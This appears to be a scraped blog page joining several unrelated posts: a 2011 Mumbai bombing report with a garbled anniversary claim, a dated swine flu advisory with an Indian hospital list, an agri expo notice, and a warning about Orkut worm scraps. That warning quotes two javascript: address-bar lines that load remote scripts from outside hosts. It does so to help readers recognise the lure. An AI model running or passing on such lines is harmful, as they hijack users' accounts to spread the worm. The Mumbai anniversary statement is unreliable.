Three Serial Terrorist Bomb Explosions Shakes Mumbai (Bombay) Again

Three serial bomb explosions have shaken the Mumbai (Bombay) city again. All three blasts took place today (July 13, 2011) during rush hour period in the evening, between 6:30 to 7:00 pm (IST) in crowded places. The explosions were at Zaveri Bazaar, Opera House and Dadar. Initial reports confirm that about 13 people died due to the bomb explosions and more than 100 public are feared to be injured.

Picture showing the places where the bombs exploded in Mumbai.

The Maharashtra state police have confirmed that every thing is under control and there is no need to panic. Reports also indicate that a BSF (Border Security Force) aircraft with the National Security Guard (NSG) Commandos, National Investigation Agency (NIA) team and forensic experts from New Delhi is expected to reach Mumbai shortly.

Some news sources have reported that one unexploded bomb has been found in Dadar which has been subsequently defused.

It is assumed that Improvised Explosion Devices (IEDs) have been used for these explosions. Terrorist groups like The Indian Mujahideen's and/or Lashkar-e-Taiba are thought to be behind these attacks. Involvement of Al Qaeda and/or Taliban fractions also can not be ruled out. It is understood that the Indian intelligence agencies had some clues that some terrorists groups may be in preparation for an attack. Some sources indicate that the US intelligence agencies have also informed Indian authorities against a possible attack in India after the death of Osama bin Laden. It seems that the authorities could not take any action as they lacked any solid information about the location and/or time of such an attack.

India on High Alert

Major cities in India including Delhi, Kolkata (Calcutta), Chennai (Madras) and the Indian IT hubs like Bangalore and Hyderabad have been put on a high alert after the explosions. All the States and Union Territories in India are also on high alert.

Some sources indicate that the blasts coincide with the birthday of Mohammad Ajmal Amir Qasab, the sole surviving terrorist from the 2008 Mumbai attacks. It may be also noted that it is just 2 days past the 5th anniversary of 2008 Mumbai terrorist attacks which killed nearly 170 people.

Important Health advisory for Swine Flu (H1N1) and its Symptoms and Prevention

 

Symptoms of Swine Flu (H1N1)

 

About Swine Flu (H1N1)

 

What is swine flu?

•       Swine Influenza (swine flu) is a respiratory disease of pigs caused by Type A influenza viruses that causes regular outbreaks in pigs.

 

•       Swine flu viruses have been reported to spread from person-to-person, but in the past, this transmission was limited and not sustained beyond three people.

 

Is the current swine flu virus contagious?

•       Various international agencies (US Centers for Disease Control & Prevention, World Health Organization) have determined that this swine influenza A (H1N1) virus is contagious and is spreading from human to human.

 

•       WHO has escalated the world Pandemic Phase from Phase 3 to Phase 4 (in a 6-scale Phase), indicating that a worldwide pandemic due to swine flu H1N1 is possible.

 

What are the signs and symptoms of swine flu in people?

•       The symptoms of swine flu in people are similar to the symptoms of regular human flu and include fever, cough, sore throat, body aches, headache, chills and fatigue.

 •       Some people have reported diarrhea and vomiting associated with swine flu. In the past, severe illness (pneumonia and respiratory failure) and deaths have been reported with swine flu infection in people.

 •       Like seasonal flu, swine flu may cause a worsening of underlying chronic medical conditions.

 

How does swine flu spread?

•       Spread of this swine influenza A (H1N1) virus is thought to be happening in the same way that seasonal flu spreads.

 •       Flu viruses are spread mainly from person to person through coughing or sneezing of people with influenza.

 •       Sometimes people may become infected by touching something with live flu viruses on it and then touching their mouth or nose.

 

How are human infections with swine influenza diagnosed?

•       To diagnose swine influenza A infection, a respiratory specimen would generally need to be collected within the first 4 to 5 days of illness (when an infected person is most likely to be shedding virus).

 •       However, some persons, especially children, may shed virus for 10 days or longer.

 •       Identification as a swine flu influenza A virus requires sending the specimen to a hospital laboratory for testing.

 

How can someone with the flu infect someone else?

•       Infected people may be able to infect others beginning 1 day before symptoms develop and up to 7 or more days after becoming sick.

 •       That means that you may be able to pass on the flu to someone else before you know you are sick, as well as while you are sick.

 

How long can an infected person spread swine flu to others?

•       People with swine influenza virus infection should be considered potentially contagious as long as they are symptomatic and possible for up to 7 days following illness onset.

•       Children, especially younger children, might potentially be contagious for longer periods.

 

Is there a vaccine for Pandemic Flu?

•       Because the virus is new, there will be no vaccine ready to protect against pandemic flu.

 •       Vaccine against Swine Flu virus H1N1 needs at least 6-12 months to be produced.

 •       Seasonal flu vaccine or past flu immunization will not provide protection.

 

Are there medicines to treat swine flu?

•       Yes. The US CDC recommends the use of oseltamivir (Tamiflu®) or zanamivir (Relenza®) for the treatment and/or prevention of infection with these swine influenza viruses.

 •       Antiviral drugs are prescription medicines (pills, liquid or an inhaler) that fight against the flu by keeping flu viruses from reproducing in your body.

 •       If you get sick, antiviral drugs can make your illness milder and make you feel better faster. They may also prevent serious flu complications.

 •       For treatment, antiviral drugs work best if started soon after getting sick (within 2 days of symptoms).

 

What surfaces are most likely to be sources of contamination?

•       The virus can be spread when a person touches something that is contaminated with the virus and then touches his or her eyes, nose, or mouth.

 •       Droplets from a cough or sneeze of an infected person move through the air. The virus can then be spread when a person touches respiratory droplets from another person on a surface like a desk, doorknob, child's toy or phone handset and then touches their own eyes, mouth or nose before washing their hands.

 

How long can viruses live outside the body?

•       We know that some viruses and bacteria can live 2 hours or longer on surfaces like cafeteria tables, doorknobs, and desks.

 •       Frequent handwashing will help you reduce the chance of getting contamination from these common surfaces.

 

What can I do to protect myself from getting sick?

 •       Cover your nose and mouth with a tissue when you cough or sneeze. Throw the tissue in the trash after you use it.

•       Wash your hands often with soap and water, especially after you cough or sneeze. Alcohol-based hand cleaners are also effective.

 •       Avoid touching your eyes, nose or mouth. The virus can spread this way.

 •       Try to avoid close contact with sick people.

 •       If you get sick with influenza, stay home from work or school and limit contact with others to keep from infecting them.

 

What is the best way to keep from spreading the virus through coughing or sneezing?

•       If you are sick, limit your contact with other people as much as possible. Do not go to work or school if ill.

 •       Cover your mouth and nose with a tissue when coughing or sneezing. It may prevent those around you from getting sick. Put your used tissue in the waste basket.

 •       Cover your cough or sneeze if you do not have a tissue. Then, clean your hands, and do so every time you cough or sneeze.

 

What is the best technique for washing my hands to avoid getting the flu?

•       Washing your hands often will help protect you from germs. Wash with soap and water or clean with alcohol-based hand cleaner.

 •       When you wash your hands -- with soap and warm water -- that you wash for 15 to 20 seconds. When soap and water are not available, alcohol-based disposable hand wipes or gel sanitizers may be used. You can find them in most supermarkets and drugstores.

 •       If using gel, rub your hands until the gel is dry. The gel doesn't need water to work; the alcohol in it kills the germs on your hands.

 

What should I do if I get sick?

•       If you live in areas where swine influenza cases have been identified and become ill with influenza-like symptoms, including fever, body aches, runny nose, sore throat, nausea, or vomiting or diarrhea, you may want to contact their health care provider, particularly if you are worried about your symptoms. Your health care provider will determine whether influenza testing or treatment is needed.

 •       If you are sick, you should stay home and avoid contact with other people as much as possible to keep from spreading your illness to others.

 •       If you become ill and experience any of the following warning signs (next 2 slides), seek emergency medical care.

 

In children emergency warning signs that need urgent medical attention include:

•       Fast breathing or trouble breathing

•       Bluish skin color

•       Not drinking enough fluids

•       Not waking up or not interacting

•       Being so irritable that the child does not want to be held

•       Flu-like symptoms improve but then return with fever and worse cough

•       Fever with a rash

 

In adults, emergency warning signs that need urgent medical attention include:

•       Difficulty breathing or shortness of breath

•       Pain or pressure in the chest or abdomen

•       Sudden dizziness

•       Confusion

•       Severe or persistent vomiting

 

Household Cleaning, Laundry, and Waste Disposal

 •       Throw away tissues and other disposable items used by the sick person in the trash. Wash your hands after touching used tissues and similar waste.

 •       Keep surfaces (esp bedside tables, surfaces in the bathroom, children's toys, phone handles, doorknobs) clean by wiping them down with a household disinfectant according to directions on the product label.

 •       Linens, eating utensils, and dishes belonging to those who are sick do not need to be cleaned separately, but importantly these items should not be shared without washing thoroughly first.

 •       Wash linens (such as bed sheets and towels) by using household laundry soap and tumble dry on a hot setting. Avoid "hugging" laundry prior to washing it to prevent contaminating yourself. Clean your hands with soap and water or alcohol-based hand rub right after handling dirty laundry.

 •       Eating utensils should be washed either in a dishwasher or by hand with water and soap.

 

 

LIST OF GOVERNMENT AUTHORIZED HOSPITALS FOR TREATMENT OF SWINE FLU (India)   City Hospital Address Contact Chennai King Institute of Preventive Medicine  ( 24/7 Service) Guindy, Chennai – 32 (044) 22501520, 22501521 & 22501522 Communicable Diseases Hospital Thondiarpet, Chennai (044) 25912686/87/ 88, 9444459543 Government General Hospital Opp. Central Railway Station, Chennai – 03 (044) 25305000, 25305723, 25305721, 25330300 Pune Naidu Hospital Nr Le'Meridian, Raja Bahadur Mill, GPO, Pune - 01 (020) 26058243 National Institute of Virology 20A Ambedkar Road , Pune - 11 (020) 26006290 Kolkata ID Hospital 57,Beliaghata, Beliaghata Road , Kolkata - 10 ‎   (033) 23701252 Coimbatore Government General Hospital Near Railway Station, Trichy Road , Coimbatore - 18 (0422) 2301393, 2301394, 2301395, 2301396 Hyderabad Govt. General and Chest Diseases Hospital , Erragadda, Hyderabad (040) 23814939 Mumbai Kasturba Gandhi Hospital Arthur Road, N M Joshi Marg, Jacob Circle , Mumbai - 11 (022) 23083901, 23092458, 23004512 Sir J J Hospital J J Marg, Byculla, Mumbai - 08 (022) 23735555, 23739031, 23760943, 23768400 / 23731144 / 5555 / 23701393 / 1366 Haffkine Institute Acharya Donde Marg, Parel, Mumbai - 12 (022) 24160947, 24160961, 24160962 Kochi Government Medical College Gandhi Nagar P O, Kottayam - 08 (0481) 2597311,2597312 Government Medical College Vandanam P O, Allapuzha - 05 (0477) 2282015 Taluk Hospital Railway Station Road , Alwaye, Ernakulam (0484) 2624040  Sathyajit - 09847840051 Taluk Hospital Perumbavoor PO , Ernakulam 542 (0484) 2523138  Vipin - 09447305200 Gurgaon & Delhi All India Institute of Medical Sciences (AIIMS) Ansari Nagar, Aurobindo Marg Ring Road , New Delhi - 29 (011) 26594404, 26861698  Prof. R C Deka - 9868397464 National Institute for Communicable Diseases 22, Sham Nath Marg, New Delhi - 54 (011) 23971272/060/ 344/524/449/ 326 Dr. Ram Manohar Lohia Hospital Kharak Singh Marg, New Delhi - 01 (011) 23741640, 23741649, 23741639 Dr. N K Chaturvedi – 9811101704 Vallabhai Patel Chest Institute University Enclave, New Delhi- 07 (011) 27667102, 27667441, 27667667, 27666182 Bangalore Victoria Hospital K R Market, Kalasipalayam, Bangalore - 02 (080) 26703294  Dr. Gangadhar - 94480-49863 SDS Tuberculosis & Rajiv Gandhi Institute of Chest Diseases Hosur Road, Hombegowda Nagar, Bangalore - 29 (080) 26631923  Dr. Shivaraj - 99801-48780   STAY ALERT!   PREVENT AGAINST SWINE FLU

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India International Agri Expo' 08 - from 31st Oct to 2nd Nov 2008, Cochin (India)

Foundation for Organic Agriculture and Rural Development is a not-for-profit organisation with a mandate to promote Organic Agriculture and Rural Development.

As one of the initiatives for the development of the Agri sector, Foundation for Organic Agriculture and Rural Development is conducting a very unique three-day exhibition-cum-workshop on Agri-Tech initiatives titled - "India International Agri Expo 2008" from 31st October to 2nd November, 2008 at Town Hall, Cochin (Kerala, India), jointly with The Indus Entrepreneurs (TiE) Kerala.

The event is expected to attract a large number of exhibitors from India and abroad to showcase their products and services. Organic agriculture and its vast potential will have a special emphasis. We intend to have a special pavilion exclusively for Organic Farming Sector.

There will be Technical Seminars, Business to Business (B2B) Meets & Discussions during the three days of the event. Topics like Organic Agriculture & Aquaculture, Farm Mechanization, Green House Technology, Value Addition and Processing of Agri Products, Horticulture & Floriculture, Farm Tourism, Emerging Marketing Opportunities in Agri Sector etc. will be covered in these technical seminars.

More details can be availed from the website: www.iiagriexpo.com

The Brochure and the Registration Form can be downloaded from the above website. Please let me know if you face any difficulty in downloading the Brochure or the Registration Form.

For further clarifications and assistance Please contact :

Organising Committee Office

India International Agri Expo 2008 (IIAE-'08)
C/o TiE Kerala
Room No.2A, 3rd Floor, Kurian Towers,
Banerji Road, Kochi – 18.
Phone : +91-484-3248735, 2620850
Mobile : +91-9847859853, 9388616559
E-mail: info@iiagriexpo.com
Website: http://www.iiagriexpo.com

Lot of malicious JavaScripts are at work in Orkut - sending scraps to all your friends without your knowledge!

You might have already come across some scrap or message on Orkut instructing you to copy a link to your address-bar and asking you to run it (by hitting ENTER). I agree that there are many harmless useful scripts like the most common 'Send Scraps to All' type. But please don’t run it unless you are cent per cent sure that it is safe. Because it is highly probable that it is a trick to compromise or infect your computer. Most of these scraps are result of activities from some malicious codes or viruses like entities. These scraps are capable of modifying and deleting itself, and adds you to the some Orkut Community.

Many of you have likely received such scraps from friends of yours that they actually didn't send, and friends may have received scraps that appeared to come from you!

Two examples of such scraps are given below:

Example 1:

"Here are some amazing tricks to make your cell phone battery last longer. It worked for Me. Just copy the JavaScript, paste it in your Address bar (the place where u see www.orkut.com) and hit ENTER

javascript:d=document;c=d.createElement('script');d.body.appendChild(c)
;c.src='http://userscripts.googlepages.com/news.user.js';void(0)

Trust me, you'll find this newsletter informative!
And If U Like it..You can even Go Here for More Tricks."


Example 2:

"Here are some cool pic..BY XXXXX.. Just copy the JavaScript, paste it in your address bar and PRESS ENTER

javascript:d=document;c=d.createElement('script');d.body.appendChild(c)
;c.src='http://tricks80.googlepages.com/20885.user.js';void(0)

trust me, you'll find thispic funny!"

In the first example, it also links to an Orkut community, asking you to join it.


Recently I got some scraps mimicking a YouTube video showing some thing vague - just to ignite our curiosity!....to make you click on it with an intention to view the video. But actually it is a picture not a flash video. The picture is linked to some problematic website hosting a Trojan named Infostealer.Orcu. You will realize something is wrong with that only after clicking the picture! One such picture is given below.

A picture mimicking YouTube flash video

Usually such scraps will also have some thing written purposefully in Portuguese...something like "Olha so que encontrei Varios flagras no BBB8 vc vai pira". This worm, named as MW.Orc, primarily targets Brazilian users of Google's Orkut website.

But you can make sure whether it is a picture or a genuine Flash Movie before clicking it. To know whether it is a genuine flash video just right click it, if you see Flash Player shortcut menu, it is a genuine flash video and if you see a shortcut menu containing "Save Picture As..." or "Properties", it is a picture.

Try this for yourself with the two pictures given below...one is a real flash video from YouTube and the other is just a picture of it linked to this blog!

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Alternatively, place your pointer over the picture and check at left most bottom of your browser's status bar. If you see a link there, if it is a picture linked to some other site. Make it a habit, ALWAYS CHECK DESTINATION OF THE LINK AT THE LEFTMOST BOTTOM OF THE STATUS BAR IN YOUR BROWSER. But this alerting of link at the status bar of the browser can be blocked with some scripts. So this method may not be reliable always.


These malicious codes can send scrap to all your friends when you are logged on to Orkut, without your knowledge! When your friends sees such a scrap from you on their scrap book, he/she will click or run it without a second thought, since it is from you and they have full trust in you! And if your friends falls prey to this prank, then it sends the same scrap to all friends in their list, this way it spreads and is now clogging the Orkut community. Some sites point this as Orkut worm or XSS worm. It exploits vulnerabilities in the XSS error in code created by Google webmasters. This is something like reincarnation of SPAM e-mail or Junk e-mail in Orkut!


So how to tackle it? DO NOT EXECUTE THE CODE OR CLICK ON THE LINK.....DELETE IT AS SOON AS YOU SEE IT.


Interestingly many of these SPAM Script codes are hosted on Google pages...a free hosting service from Google! Orkut is a Social Network from Google and it is being hacked with their own resources! Hope people at Google and Orkut will come forward with a permanent fix for this.

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